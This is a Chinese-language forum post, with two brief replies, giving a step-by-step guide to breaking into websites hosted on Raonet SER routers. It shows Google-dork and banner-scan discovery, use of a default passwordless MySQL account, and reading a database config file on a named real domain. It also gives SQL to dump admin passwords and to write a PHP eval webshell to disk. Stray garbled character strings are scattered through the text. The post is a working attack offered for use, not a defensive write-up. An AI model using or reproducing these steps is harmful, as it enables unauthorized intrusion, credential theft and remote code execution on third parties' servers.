利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
4 Z8 \" w- e. Y; u; o
1：google搜索'Raonet Subscriber Ethernet Router'

: \3 X- ]1 V* @5 J, O2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
2 M+ |- Q7 B4 i/ @
( c8 S/ Y4 H+ C% I3 R  E3 U3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
& U. i, f& T8 B# D" W
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
" ]' E0 Q% X( [# S# J
7 ~& p) m) R/ B7 A( n. ]; x

; c" f0 I( w9 |* f入侵步骤：

9 W. |' N  G4 U8 |: w' ]1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
  I9 X0 Q0 X; N- h6 U" ~use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
8 o2 k: ^4 l3 D4 {4 G# T1 C7 p7 o6 k2 }insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;

8 A. l/ }6 K6 L! M  D! g; K5:连接后门shell.php
/ b  l+ R7 W, ^1 {6 H3 u
; A) r/ s4 L/ c1 P7 L6. 搞定！
+ ~" U& g7 t& b  z

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。